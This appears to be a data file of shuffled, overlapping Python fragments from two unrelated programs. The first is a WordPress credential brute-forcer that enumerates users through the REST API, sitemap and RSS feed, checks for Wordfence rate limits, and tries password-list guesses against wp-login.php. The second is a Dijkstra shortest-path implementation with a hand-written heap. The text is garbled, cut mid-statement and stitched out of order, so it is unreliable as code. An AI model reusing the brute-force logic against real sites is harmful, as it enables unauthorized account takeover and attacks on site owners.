b.close()", "via RSS Feed [+]\") method = \"rss\" if grab_users_sitemap(url) and", "required=True, default=\"http://wordpress.lan\", help=\"Wordpress URL\") parser.add_argument(\"-f\", \"--file\", required=True, default=\"pass.txt\" ,help=\"Password File\")", "Confirmed Wordpress Website [+]\") else: print (\"[-] Sorry this is", "Security - Firewall & Malware Scan\" in response.text: return True", "'r') as f: for line in f: count += 1", "sys.exit(0) if \"wordpress_logged_in\" in response.headers['Set-Cookie']: print(\"[+] Found Login Username: \"+user+\"", "Endpoint Requires Permissions [-]\") return False if response.status_code == 404:", "in userdata: user = id['slug'] cnt = 1 print((\"[+] Found", "check_wpadmin(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;", "text_file.write(\"\"+str(u)+\"\\n\") text_file.close() remove_dupes() with open(\"users.txt\", 'r') as f: for line", "count += 1 f.close() return str(count) # Dont no body", "no body like dupes. def remove_dupes(): lines_seen = set() outfile", "as f: for line in f: password = line.strip() cnt", "# Time For Some Machine Learning Quality IF statements. def", "\"+user+\" Password: \"+password+\"\\n\") text_file.close() sys.exit(0) else: print(\"[-] Login Failed for", "there is a issue blocking wp-admin [-]\") sys.exit(0) if os.path.isfile(passfile)", "grab_users_sitemap(url) and method == \"None\": print(\"[+] Users found via Authors", "userdata: user = id['slug'] cnt = 1 print((\"[+] Found User:", "# Grab Wordpress Users via Sitemap def grab_users_sitemap(url): headers =", "headers=headers, cookies=cookies,verify=False, proxies=proxyDict,allow_redirects = False) if response.status_code == 503: print(\"[-]", "get to wp-admin login. def check_wpadmin(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh;", "password = line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() b.close() def", "def count_pass(passfile): count = 0 with open(passfile, 'r') as f:", "and os.access(passfile, os.R_OK): print(\"[+] Password List Used: \"+passfile+\" [+]\") else:", "OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/feed/\", headers=headers,verify=False,", "wordfence is installed as this limits the logins to 20", "session.get(\"\"+url+\"/wp-json/wp/v2/users\", headers=headers,verify=False, proxies=proxyDict) if 'rest_user_cannot_view' in response.text: print (\"[-] REST", "installed as this limits the logins to 20 per ip", "with open(passfile, 'r') as f: for line in f: password", "cookies = {\"wordpress_test_cookie\":\"WP+Cookie+check\"} response = session.post(\"\"+url+\"/wp-login.php?redirect_to=\"+url+\"/wp-admin/\", data=paramsPost, headers=headers, cookies=cookies,verify=False, proxies=proxyDict,allow_redirects", "503 HTTP Status [-]\") sys.exit(0) if response.status_code == 502: print(\"[-]", "\"restapi\": userdata = grab_users_api(url) attack_restapi(url,attempts,userdata,passfile) if method == \"rss\": userdata", "(Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response", "response.status_code == 404: print (\"[-] Rest API Endpoint returns 404", "return False # Test the logins def test_login (url,user,password,cnt,attempts): if", "else: return False else: return False # Check URL is", "found via Rest API [-]\") method = \"restapi\" if grab_users_rssfeed(url)", "dupes. def remove_dupes(): lines_seen = set() outfile = open(\"users.txt\", \"w\")", "attempts: print(\"[-] Stopping as Wordfence will block your IP [-]\")", "REST API Endpoint Requires Permissions [-]\") return False if response.status_code", "Website is giving 503 HTTP Status [-]\") sys.exit(0) if response.status_code" ]
[ "188, 197] print(\",\".join([str(int(min_distances[i])) for i in e])) start_t = time.time()", "} graph = read_graph(\"Dijkstra.txt\") dedup_edges = set() for k, _", "dj_score) for v in graph: if v != 1: heap.insert((v,", "< self.array[left_idx][1]): min_idx = right_idx if self.array[idx][1] < self.array[min_idx][1]: break", "j self.v2index_map[self.array[j][0]] = i self.array[i] = self.array[j] self.array[j] = t", "min_node def insert(self, node): self.array.append(node) self.v2index_map[node[0]] = self.size self.size =", "{1: 0, 2: 1, 3: 2, 4: 2, 5: 3,", "shortest_paths if __name__ == \"__main__\": # test case 1, output:", "1 self.__swap_value(0, self.size) self.array.pop() if self.size > 1: self.__bubble_down(0) del", "Heap: def __init__(self): self.size = 0 self.array = [] self.v2index_map", "in graph: if v != 1: heap.insert((v, 1000000)) shortest_paths =", "self.size: min_idx = left_idx if left_idx >= self.size or (right_idx", "< self.size and self.array[right_idx][1] < self.array[left_idx][1]): min_idx = right_idx if", "in shortest_paths and dj_score < heap.get_vertex_key(neighbor): heap.modify_key(neighbor, dj_score) return shortest_paths", "def __get_left_child_index(self, idx): return 2 * idx + 1 def", "get_vertex_key(self, v_id): return self.array[self.v2index_map[v_id]][1] def pop(self): if self.size < 1:", "shortest_paths and dj_score < heap.get_vertex_key(neighbor): heap.modify_key(neighbor, dj_score) return shortest_paths if", "1), (6, 6)], # 3: [(1, 3), (2, 1), (6,", "self.__get_parent_index(idx) def __bubble_down(self, idx): left_idx = self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx)", "115, 133, 165, 188, 197] print(\",\".join([str(int(min_distances[i])) for i in e]))", "import time from os import path from math import floor", "# graph = { # 1: [(6, 7), (5, 3),", "v[1])) assert len(dedup_edges) == sum([len(e) for e in graph.values()]) #", "__bubble_down(self, idx): left_idx = self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) while left_idx", "break self.__swap_value(parent_idx, idx) idx = parent_idx parent_idx = self.__get_parent_index(idx) def", "if self.array[idx][1] < self.array[min_idx][1]: break self.__swap_value(idx, min_idx) idx = min_idx", "if parent_idx >= 0 and self.array[idx][1] < self.array[parent_idx][1]: self.__bubble_up(idx) else:", "k, v[1])) assert len(dedup_edges) == sum([len(e) for e in graph.values()])", "[(2, 1), (1, 2), (6, 5)], # 5: [(1, 3),", "break self.__swap_value(idx, min_idx) idx = min_idx left_idx = self.__get_left_child_index(idx) right_idx", "= t def __bubble_up(self, idx): parent_idx = self.__get_parent_index(idx) while parent_idx", "<= self.array[idx][1]: break self.__swap_value(parent_idx, idx) idx = parent_idx parent_idx =", "idx): return 2 * idx + 1 def __get_right_child_index(self, idx):", "= get_shortest_paths_self_defined_heap(graph, X) print(time.time() - start_t) # print(min_distances) e =", "row.strip('\\t\\n').split('\\t') s = int(edges[0]) graph[s] = [] for i in", "self.size > 1: self.__bubble_up(self.size - 1) def modify_key(self, v_id, update_val):", "self.array[idx][1] < self.array[parent_idx][1]: self.__bubble_up(idx) else: self.__bubble_down(idx) def read_graph(filename): graph =", "v[1])) dedup_edges.add((v[0], k, v[1])) assert len(dedup_edges) == sum([len(e) for e", "self.__swap_value(parent_idx, idx) idx = parent_idx parent_idx = self.__get_parent_index(idx) def __bubble_down(self,", "class Heap: def __init__(self): self.size = 0 self.array = []", "if self.array[parent_idx][1] <= self.array[idx][1]: break self.__swap_value(parent_idx, idx) idx = parent_idx", "{ # 1: [(6, 7), (5, 3), (2, 1), (4,", "cur_distance + weight if dj_score < distances[neighbor]: distances[neighbor] = dj_score", "graph: if v != 1: heap.insert((v, 1000000)) shortest_paths = dict()", "= (v_id, update_val) parent_idx = self.__get_parent_index(idx) if parent_idx >= 0", "def __init__(self): self.size = 0 self.array = [] self.v2index_map =", "for neighbor, weight in graph[cur_v]: dj_score = v_score + weight", "parent_idx parent_idx = self.__get_parent_index(idx) def __bubble_down(self, idx): left_idx = self.__get_left_child_index(idx)", "/ 2)) def __get_left_child_index(self, idx): return 2 * idx +", "< self.array[min_idx][1]: break self.__swap_value(idx, min_idx) idx = min_idx left_idx =", "os import path from math import floor class Heap: def", "def __get_parent_index(self, idx): return int(floor((idx - 1) / 2)) def", "v != 1: heap.insert((v, 1000000)) shortest_paths = dict() n_v =", "def insert(self, node): self.array.append(node) self.v2index_map[node[0]] = self.size self.size = self.size", "(4, 2), (3, 3)], # 2: [(1, 1), (3, 1),", "IndexError min_node = self.array[0] self.size = self.size - 1 self.__swap_value(0,", "1000000 for i in graph} distances[1] = 0 X =", "# (vertex_id, dj_score) for v in graph: if v !=", "from math import floor class Heap: def __init__(self): self.size =", "i in graph} distances[1] = 0 X = [] while", "e])) start_t = time.time() min_distances = get_shortest_paths_self_defined_heap(graph, X) print(time.time() -", "i self.array[i] = self.array[j] self.array[j] = t def __bubble_up(self, idx):", "heap.get_vertex_key(neighbor): heap.modify_key(neighbor, dj_score) return shortest_paths if __name__ == \"__main__\": #", "(4, 1), (6, 6)], # 3: [(1, 3), (2, 1),", "[(1, 3), (2, 1), (6, 2)], # 4: [(2, 1),", "1, 3: 2, 4: 2, 5: 3, 6: 4} #", "# 3: [(1, 3), (2, 1), (6, 2)], # 4:", "f: for row in f.readlines(): edges = row.strip('\\t\\n').split('\\t') s =", "self.__swap_value(idx, min_idx) idx = min_idx left_idx = self.__get_left_child_index(idx) right_idx =", "= self.array[0] self.size = self.size - 1 self.__swap_value(0, self.size) self.array.pop()", "= get_shortest_paths_heapq(graph) print(time.time() - start_t) # print(min_distances) e = [7,", "def __get_right_child_index(self, idx): return 2 * idx + 2 def", "in graph} distances[1] = 0 X = [] while heap:", "+ weight if dj_score < distances[neighbor]: distances[neighbor] = dj_score heapq.heappush(heap,", "2)], # 4: [(2, 1), (1, 2), (6, 5)], #", "= j self.v2index_map[self.array[j][0]] = i self.array[i] = self.array[j] self.array[j] =", "= set() for k, _ in graph.items(): for v in", "self.__get_parent_index(idx) if parent_idx >= 0 and self.array[idx][1] < self.array[parent_idx][1]: self.__bubble_up(idx)", "== \"__main__\": # test case 1, output: {1: 0, 2:", "3)] # } graph = read_graph(\"Dijkstra.txt\") dedup_edges = set() for", "parent_idx >= 0: if self.array[parent_idx][1] <= self.array[idx][1]: break self.__swap_value(parent_idx, idx)", "while left_idx < self.size or right_idx < self.size: min_idx =", "1 if self.size > 1: self.__bubble_up(self.size - 1) def modify_key(self,", "+ 1 if self.size > 1: self.__bubble_up(self.size - 1) def", "{i: 1000000 for i in graph} distances[1] = 0 X", "edges = row.strip('\\t\\n').split('\\t') s = int(edges[0]) graph[s] = [] for", "dj_score heapq.heappush(heap, (dj_score, neighbor)) return distances, X def get_shortest_paths_self_defined_heap(graph): heap", "for i in e])) start_t = time.time() min_distances = get_shortest_paths_self_defined_heap(graph,", "dj_score < heap.get_vertex_key(neighbor): heap.modify_key(neighbor, dj_score) return shortest_paths if __name__ ==", "return shortest_paths if __name__ == \"__main__\": # test case 1,", "\"__main__\": # test case 1, output: {1: 0, 2: 1,", "= {} def __get_parent_index(self, idx): return int(floor((idx - 1) /", "idx) idx = parent_idx parent_idx = self.__get_parent_index(idx) def __bubble_down(self, idx):", "e in graph.values()]) # graph = {} # heap =", "= [7, 37, 59, 82, 99, 115, 133, 165, 188,", "# 2: [(1, 1), (3, 1), (4, 1), (6, 6)],", "> 1: self.__bubble_down(0) del self.v2index_map[min_node[0]] return min_node def insert(self, node):", "1) def modify_key(self, v_id, update_val): idx = self.v2index_map[v_id] self.array[idx] =", "floor class Heap: def __init__(self): self.size = 0 self.array =", "i, j): t = self.array[i] self.v2index_map[t[0]] = j self.v2index_map[self.array[j][0]] =", "dedup_edges = set() for k, _ in graph.items(): for v", "graph = {} # heap = Heap() # heap.insert((1,0)) #", "self.v2index_map[v_id] self.array[idx] = (v_id, update_val) parent_idx = self.__get_parent_index(idx) if parent_idx", "self.size or right_idx < self.size: min_idx = left_idx if left_idx", "case 1, output: {1: 0, 2: 1, 3: 2, 4:", "to X X.append(cur_v) for neighbor, weight in graph[cur_v]: dj_score =", "in graph.values()]) # graph = {} # heap = Heap()", "0 X = [] while heap: cur_distance, cur_v = heapq.heappop(heap)", "= dict() n_v = len(graph) while len(shortest_paths) < n_v: assert", "idx): left_idx = self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) while left_idx <", "__bubble_up(self, idx): parent_idx = self.__get_parent_index(idx) while parent_idx >= 0: if", "* idx + 1 def __get_right_child_index(self, idx): return 2 *", "open(path.join('.', filename), 'r') as f: for row in f.readlines(): edges", ">= self.size or (right_idx < self.size and self.array[right_idx][1] < self.array[left_idx][1]):", "v in _: dedup_edges.add((k, v[0], v[1])) dedup_edges.add((v[0], k, v[1])) assert", "graph = { # 1: [(6, 7), (5, 3), (2,", "cur_distance, cur_v = heapq.heappop(heap) if cur_distance > distances[cur_v]: continue #", "in _: dedup_edges.add((k, v[0], v[1])) dedup_edges.add((v[0], k, v[1])) assert len(dedup_edges)", "self.v2index_map = {} def __get_parent_index(self, idx): return int(floor((idx - 1)", "= [] heapq.heappush(heap, (0, 1)) # (dj_score, vertex_id) distances =", "self.v2index_map[t[0]] = j self.v2index_map[self.array[j][0]] = i self.array[i] = self.array[j] self.array[j]", "# (dj_score, vertex_id) distances = {i: 1000000 for i in", "del self.v2index_map[min_node[0]] return min_node def insert(self, node): self.array.append(node) self.v2index_map[node[0]] =", "1: raise IndexError min_node = self.array[0] self.size = self.size -", "(2, 6), (4, 5), (5, 3)] # } graph =", "graph[s].append((int(edge[0]), int(edge[1]))) return graph def get_shortest_paths_heapq(graph): heap = [] heapq.heappush(heap,", "if neighbor not in shortest_paths and dj_score < heap.get_vertex_key(neighbor): heap.modify_key(neighbor,", "idx + 2 def __swap_value(self, i, j): t = self.array[i]", "(5, 3), (2, 1), (4, 2), (3, 3)], # 2:", "def __bubble_up(self, idx): parent_idx = self.__get_parent_index(idx) while parent_idx >= 0:", "left_idx < self.size or right_idx < self.size: min_idx = left_idx", "99, 115, 133, 165, 188, 197] print(\",\".join([str(int(min_distances[i])) for i in", "self.__bubble_up(idx) else: self.__bubble_down(idx) def read_graph(filename): graph = dict() with open(path.join('.',", "while len(shortest_paths) < n_v: assert len(shortest_paths) + heap.size == n_v", "__get_right_child_index(self, idx): return 2 * idx + 2 def __swap_value(self,", "edges[i].split(',') graph[s].append((int(edge[0]), int(edge[1]))) return graph def get_shortest_paths_heapq(graph): heap = []", "= v_score for neighbor, weight in graph[cur_v]: dj_score = v_score", "__get_left_child_index(self, idx): return 2 * idx + 1 def __get_right_child_index(self,", "6: 4} # graph = { # 1: [(6, 7),", "4} # graph = { # 1: [(6, 7), (5,", "1: [(6, 7), (5, 3), (2, 1), (4, 2), (3,", "2), (3, 3)], # 2: [(1, 1), (3, 1), (4,", "if left_idx >= self.size or (right_idx < self.size and self.array[right_idx][1]", "import pdb;pdb.set_trace() if neighbor not in shortest_paths and dj_score <", "2)) def __get_left_child_index(self, idx): return 2 * idx + 1", "= edges[i].split(',') graph[s].append((int(edge[0]), int(edge[1]))) return graph def get_shortest_paths_heapq(graph): heap =", "heapq.heappop(heap) if cur_distance > distances[cur_v]: continue # added to X", "for row in f.readlines(): edges = row.strip('\\t\\n').split('\\t') s = int(edges[0])", "= Heap() heap.insert((1, 0)) # (vertex_id, dj_score) for v in", "time.time() min_distances = get_shortest_paths_self_defined_heap(graph, X) print(time.time() - start_t) # print(min_distances)", "1), (4, 2), (3, 3)], # 2: [(1, 1), (3,", "X def get_shortest_paths_self_defined_heap(graph): heap = Heap() heap.insert((1, 0)) # (vertex_id,", "1), (1, 2), (6, 5)], # 5: [(1, 3), (6,", "!= 1: heap.insert((v, 1000000)) shortest_paths = dict() n_v = len(graph)", "[(1, 3), (6, 3)], # 6: [(1, 7), (3, 2),", "get_shortest_paths_heapq(graph): heap = [] heapq.heappush(heap, (0, 1)) # (dj_score, vertex_id)", "= self.v2index_map[v_id] self.array[idx] = (v_id, update_val) parent_idx = self.__get_parent_index(idx) if", "heap = [] heapq.heappush(heap, (0, 1)) # (dj_score, vertex_id) distances", "# heap.insert((1,0)) # heap.insert((2,0)) # heap.pop() start_t = time.time() min_distances,X", "distances = {i: 1000000 for i in graph} distances[1] =", "self.size or (right_idx < self.size and self.array[right_idx][1] < self.array[left_idx][1]): min_idx", "= [] while heap: cur_distance, cur_v = heapq.heappop(heap) if cur_distance", "= self.size - 1 self.__swap_value(0, self.size) self.array.pop() if self.size >", "= dj_score heapq.heappush(heap, (dj_score, neighbor)) return distances, X def get_shortest_paths_self_defined_heap(graph):", "(right_idx < self.size and self.array[right_idx][1] < self.array[left_idx][1]): min_idx = right_idx", "(0, 1)) # (dj_score, vertex_id) distances = {i: 1000000 for", "= v_score + weight # import pdb;pdb.set_trace() if neighbor not", "= self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) while left_idx < self.size or", "> 1: self.__bubble_up(self.size - 1) def modify_key(self, v_id, update_val): idx", "weight if dj_score < distances[neighbor]: distances[neighbor] = dj_score heapq.heappush(heap, (dj_score,", "= i self.array[i] = self.array[j] self.array[j] = t def __bubble_up(self,", "return min_node def insert(self, node): self.array.append(node) self.v2index_map[node[0]] = self.size self.size", "= [] for i in range(1, len(edges)): edge = edges[i].split(',')", "2: 1, 3: 2, 4: 2, 5: 3, 6: 4}", "left_idx = self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) def get_vertex_key(self, v_id): return", "parent_idx = self.__get_parent_index(idx) while parent_idx >= 0: if self.array[parent_idx][1] <=", "in range(1, len(edges)): edge = edges[i].split(',') graph[s].append((int(edge[0]), int(edge[1]))) return graph", "graph = read_graph(\"Dijkstra.txt\") dedup_edges = set() for k, _ in", "int(edges[0]) graph[s] = [] for i in range(1, len(edges)): edge", "3: 2, 4: 2, 5: 3, 6: 4} # graph", "distances[1] = 0 X = [] while heap: cur_distance, cur_v", "len(shortest_paths) + heap.size == n_v cur_v, v_score = heap.pop() shortest_paths[cur_v]", "set() for k, _ in graph.items(): for v in _:", "parent_idx = self.__get_parent_index(idx) def __bubble_down(self, idx): left_idx = self.__get_left_child_index(idx) right_idx", "j): t = self.array[i] self.v2index_map[t[0]] = j self.v2index_map[self.array[j][0]] = i", "self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) while left_idx < self.size or right_idx", "7), (3, 2), (2, 6), (4, 5), (5, 3)] #", "heap.insert((v, 1000000)) shortest_paths = dict() n_v = len(graph) while len(shortest_paths)", "graph.values()]) # graph = {} # heap = Heap() #", "in graph[cur_v]: dj_score = cur_distance + weight if dj_score <", "3)], # 6: [(1, 7), (3, 2), (2, 6), (4,", "1, output: {1: 0, 2: 1, 3: 2, 4: 2,", "self.size and self.array[right_idx][1] < self.array[left_idx][1]): min_idx = right_idx if self.array[idx][1]", "def read_graph(filename): graph = dict() with open(path.join('.', filename), 'r') as", "3), (2, 1), (6, 2)], # 4: [(2, 1), (1,", "= time.time() min_distances,X = get_shortest_paths_heapq(graph) print(time.time() - start_t) # print(min_distances)", "0)) # (vertex_id, dj_score) for v in graph: if v", "4: [(2, 1), (1, 2), (6, 5)], # 5: [(1,", "[(1, 7), (3, 2), (2, 6), (4, 5), (5, 3)]", "= self.size + 1 if self.size > 1: self.__bubble_up(self.size -", "min_idx) idx = min_idx left_idx = self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx)", "parent_idx = self.__get_parent_index(idx) if parent_idx >= 0 and self.array[idx][1] <", "= self.__get_parent_index(idx) def __bubble_down(self, idx): left_idx = self.__get_left_child_index(idx) right_idx =", "self.array[i] = self.array[j] self.array[j] = t def __bubble_up(self, idx): parent_idx", "X.append(cur_v) for neighbor, weight in graph[cur_v]: dj_score = cur_distance +", "= 0 self.array = [] self.v2index_map = {} def __get_parent_index(self,", "min_node = self.array[0] self.size = self.size - 1 self.__swap_value(0, self.size)", "(5, 3)] # } graph = read_graph(\"Dijkstra.txt\") dedup_edges = set()", "f.readlines(): edges = row.strip('\\t\\n').split('\\t') s = int(edges[0]) graph[s] = []", "self.v2index_map[min_node[0]] return min_node def insert(self, node): self.array.append(node) self.v2index_map[node[0]] = self.size", "self.size - 1 self.__swap_value(0, self.size) self.array.pop() if self.size > 1:", "== n_v cur_v, v_score = heap.pop() shortest_paths[cur_v] = v_score for", "< self.size or right_idx < self.size: min_idx = left_idx if", "graph[cur_v]: dj_score = cur_distance + weight if dj_score < distances[neighbor]:", "for i in range(1, len(edges)): edge = edges[i].split(',') graph[s].append((int(edge[0]), int(edge[1])))", "self.size) self.array.pop() if self.size > 1: self.__bubble_down(0) del self.v2index_map[min_node[0]] return", "6), (4, 5), (5, 3)] # } graph = read_graph(\"Dijkstra.txt\")", "cur_v = heapq.heappop(heap) if cur_distance > distances[cur_v]: continue # added", "min_idx = left_idx if left_idx >= self.size or (right_idx <", "heapq import time from os import path from math import", "self.array[i] self.v2index_map[t[0]] = j self.v2index_map[self.array[j][0]] = i self.array[i] = self.array[j]", "6: [(1, 7), (3, 2), (2, 6), (4, 5), (5,", "with open(path.join('.', filename), 'r') as f: for row in f.readlines():", "in graph.items(): for v in _: dedup_edges.add((k, v[0], v[1])) dedup_edges.add((v[0],", "# heap.pop() start_t = time.time() min_distances,X = get_shortest_paths_heapq(graph) print(time.time() -", "node): self.array.append(node) self.v2index_map[node[0]] = self.size self.size = self.size + 1", "2 * idx + 2 def __swap_value(self, i, j): t", "v_id): return self.array[self.v2index_map[v_id]][1] def pop(self): if self.size < 1: raise", "return int(floor((idx - 1) / 2)) def __get_left_child_index(self, idx): return", "import heapq import time from os import path from math", "dedup_edges.add((k, v[0], v[1])) dedup_edges.add((v[0], k, v[1])) assert len(dedup_edges) == sum([len(e)", "min_idx = right_idx if self.array[idx][1] < self.array[min_idx][1]: break self.__swap_value(idx, min_idx)", "dict() n_v = len(graph) while len(shortest_paths) < n_v: assert len(shortest_paths)", "start_t = time.time() min_distances,X = get_shortest_paths_heapq(graph) print(time.time() - start_t) #", "update_val) parent_idx = self.__get_parent_index(idx) if parent_idx >= 0 and self.array[idx][1]", "1000000)) shortest_paths = dict() n_v = len(graph) while len(shortest_paths) <", "s = int(edges[0]) graph[s] = [] for i in range(1,", "heap = Heap() heap.insert((1, 0)) # (vertex_id, dj_score) for v", "3: [(1, 3), (2, 1), (6, 2)], # 4: [(2,", "= row.strip('\\t\\n').split('\\t') s = int(edges[0]) graph[s] = [] for i", "min_idx left_idx = self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) def get_vertex_key(self, v_id):", "n_v = len(graph) while len(shortest_paths) < n_v: assert len(shortest_paths) +", "= self.array[j] self.array[j] = t def __bubble_up(self, idx): parent_idx =", "heap = Heap() # heap.insert((1,0)) # heap.insert((2,0)) # heap.pop() start_t", "graph def get_shortest_paths_heapq(graph): heap = [] heapq.heappush(heap, (0, 1)) #", "idx = self.v2index_map[v_id] self.array[idx] = (v_id, update_val) parent_idx = self.__get_parent_index(idx)", "3, 6: 4} # graph = { # 1: [(6,", "< n_v: assert len(shortest_paths) + heap.size == n_v cur_v, v_score", "197] print(\",\".join([str(int(min_distances[i])) for i in e])) start_t = time.time() min_distances", "dj_score < distances[neighbor]: distances[neighbor] = dj_score heapq.heappush(heap, (dj_score, neighbor)) return", "shortest_paths = dict() n_v = len(graph) while len(shortest_paths) < n_v:", "heap.size == n_v cur_v, v_score = heap.pop() shortest_paths[cur_v] = v_score", "return 2 * idx + 2 def __swap_value(self, i, j):", "if dj_score < distances[neighbor]: distances[neighbor] = dj_score heapq.heappush(heap, (dj_score, neighbor))", "Heap() # heap.insert((1,0)) # heap.insert((2,0)) # heap.pop() start_t = time.time()", "__init__(self): self.size = 0 self.array = [] self.v2index_map = {}", "- 1 self.__swap_value(0, self.size) self.array.pop() if self.size > 1: self.__bubble_down(0)", "i in range(1, len(edges)): edge = edges[i].split(',') graph[s].append((int(edge[0]), int(edge[1]))) return", "if self.size < 1: raise IndexError min_node = self.array[0] self.size", "= right_idx if self.array[idx][1] < self.array[min_idx][1]: break self.__swap_value(idx, min_idx) idx", "< self.array[parent_idx][1]: self.__bubble_up(idx) else: self.__bubble_down(idx) def read_graph(filename): graph = dict()", "[] while heap: cur_distance, cur_v = heapq.heappop(heap) if cur_distance >", "1: self.__bubble_down(0) del self.v2index_map[min_node[0]] return min_node def insert(self, node): self.array.append(node)", "v_id, update_val): idx = self.v2index_map[v_id] self.array[idx] = (v_id, update_val) parent_idx", "v_score + weight # import pdb;pdb.set_trace() if neighbor not in", "= left_idx if left_idx >= self.size or (right_idx < self.size", "self.array[idx][1]: break self.__swap_value(parent_idx, idx) idx = parent_idx parent_idx = self.__get_parent_index(idx)", "self.v2index_map[node[0]] = self.size self.size = self.size + 1 if self.size", "= { # 1: [(6, 7), (5, 3), (2, 1),", "neighbor, weight in graph[cur_v]: dj_score = v_score + weight #", "for neighbor, weight in graph[cur_v]: dj_score = cur_distance + weight", "5)], # 5: [(1, 3), (6, 3)], # 6: [(1,", "sum([len(e) for e in graph.values()]) # graph = {} #", "(3, 3)], # 2: [(1, 1), (3, 1), (4, 1),", "37, 59, 82, 99, 115, 133, 165, 188, 197] print(\",\".join([str(int(min_distances[i]))", "idx): return 2 * idx + 2 def __swap_value(self, i,", "+ 2 def __swap_value(self, i, j): t = self.array[i] self.v2index_map[t[0]]", "start_t) # print(min_distances) e = [7, 37, 59, 82, 99,", "[(1, 1), (3, 1), (4, 1), (6, 6)], # 3:", "+ heap.size == n_v cur_v, v_score = heap.pop() shortest_paths[cur_v] =", ">= 0 and self.array[idx][1] < self.array[parent_idx][1]: self.__bubble_up(idx) else: self.__bubble_down(idx) def", "= parent_idx parent_idx = self.__get_parent_index(idx) def __bubble_down(self, idx): left_idx =", "v_score for neighbor, weight in graph[cur_v]: dj_score = v_score +", "start_t = time.time() min_distances = get_shortest_paths_self_defined_heap(graph, X) print(time.time() - start_t)", "- 1) / 2)) def __get_left_child_index(self, idx): return 2 *", "else: self.__bubble_down(idx) def read_graph(filename): graph = dict() with open(path.join('.', filename),", "[] self.v2index_map = {} def __get_parent_index(self, idx): return int(floor((idx -", "self.size = self.size - 1 self.__swap_value(0, self.size) self.array.pop() if self.size", "graph} distances[1] = 0 X = [] while heap: cur_distance,", "= heap.pop() shortest_paths[cur_v] = v_score for neighbor, weight in graph[cur_v]:", "n_v: assert len(shortest_paths) + heap.size == n_v cur_v, v_score =", "right_idx if self.array[idx][1] < self.array[min_idx][1]: break self.__swap_value(idx, min_idx) idx =", "> distances[cur_v]: continue # added to X X.append(cur_v) for neighbor,", "133, 165, 188, 197] print(\",\".join([str(int(min_distances[i])) for i in e])) start_t", "filename), 'r') as f: for row in f.readlines(): edges =", "_: dedup_edges.add((k, v[0], v[1])) dedup_edges.add((v[0], k, v[1])) assert len(dedup_edges) ==", "assert len(shortest_paths) + heap.size == n_v cur_v, v_score = heap.pop()", "__name__ == \"__main__\": # test case 1, output: {1: 0,", "2: [(1, 1), (3, 1), (4, 1), (6, 6)], #", "6)], # 3: [(1, 3), (2, 1), (6, 2)], #", "return 2 * idx + 1 def __get_right_child_index(self, idx): return", "= self.__get_parent_index(idx) while parent_idx >= 0: if self.array[parent_idx][1] <= self.array[idx][1]:", "= self.__get_right_child_index(idx) def get_vertex_key(self, v_id): return self.array[self.v2index_map[v_id]][1] def pop(self): if", "dj_score = v_score + weight # import pdb;pdb.set_trace() if neighbor", "dedup_edges.add((v[0], k, v[1])) assert len(dedup_edges) == sum([len(e) for e in", "= read_graph(\"Dijkstra.txt\") dedup_edges = set() for k, _ in graph.items():", "k, _ in graph.items(): for v in _: dedup_edges.add((k, v[0],", "dj_score = cur_distance + weight if dj_score < distances[neighbor]: distances[neighbor]", "self.__get_parent_index(idx) while parent_idx >= 0: if self.array[parent_idx][1] <= self.array[idx][1]: break", "= Heap() # heap.insert((1,0)) # heap.insert((2,0)) # heap.pop() start_t =", "time from os import path from math import floor class", "= heapq.heappop(heap) if cur_distance > distances[cur_v]: continue # added to", "if cur_distance > distances[cur_v]: continue # added to X X.append(cur_v)", "0 and self.array[idx][1] < self.array[parent_idx][1]: self.__bubble_up(idx) else: self.__bubble_down(idx) def read_graph(filename):", "output: {1: 0, 2: 1, 3: 2, 4: 2, 5:", "get_shortest_paths_self_defined_heap(graph): heap = Heap() heap.insert((1, 0)) # (vertex_id, dj_score) for", "math import floor class Heap: def __init__(self): self.size = 0", "print(time.time() - start_t) # print(min_distances) e = [7, 37, 59,", "= self.__get_right_child_index(idx) while left_idx < self.size or right_idx < self.size:", "self.array[0] self.size = self.size - 1 self.__swap_value(0, self.size) self.array.pop() if", "4: 2, 5: 3, 6: 4} # graph = {", "int(edge[1]))) return graph def get_shortest_paths_heapq(graph): heap = [] heapq.heappush(heap, (0,", "+ weight # import pdb;pdb.set_trace() if neighbor not in shortest_paths", "weight in graph[cur_v]: dj_score = v_score + weight # import", "if self.size > 1: self.__bubble_up(self.size - 1) def modify_key(self, v_id,", "vertex_id) distances = {i: 1000000 for i in graph} distances[1]", "e = [7, 37, 59, 82, 99, 115, 133, 165,", "# import pdb;pdb.set_trace() if neighbor not in shortest_paths and dj_score", "or (right_idx < self.size and self.array[right_idx][1] < self.array[left_idx][1]): min_idx =", "= min_idx left_idx = self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) def get_vertex_key(self,", "= int(edges[0]) graph[s] = [] for i in range(1, len(edges)):", "1: heap.insert((v, 1000000)) shortest_paths = dict() n_v = len(graph) while", "update_val): idx = self.v2index_map[v_id] self.array[idx] = (v_id, update_val) parent_idx =", "pop(self): if self.size < 1: raise IndexError min_node = self.array[0]", "Heap() heap.insert((1, 0)) # (vertex_id, dj_score) for v in graph:", "self.__bubble_up(self.size - 1) def modify_key(self, v_id, update_val): idx = self.v2index_map[v_id]", "cur_distance > distances[cur_v]: continue # added to X X.append(cur_v) for", "cur_v, v_score = heap.pop() shortest_paths[cur_v] = v_score for neighbor, weight", "self.array[min_idx][1]: break self.__swap_value(idx, min_idx) idx = min_idx left_idx = self.__get_left_child_index(idx)", "X) print(time.time() - start_t) # print(min_distances) e = [7, 37,", "_ in graph.items(): for v in _: dedup_edges.add((k, v[0], v[1]))", "2, 4: 2, 5: 3, 6: 4} # graph =", "get_shortest_paths_self_defined_heap(graph, X) print(time.time() - start_t) # print(min_distances) e = [7,", "return distances, X def 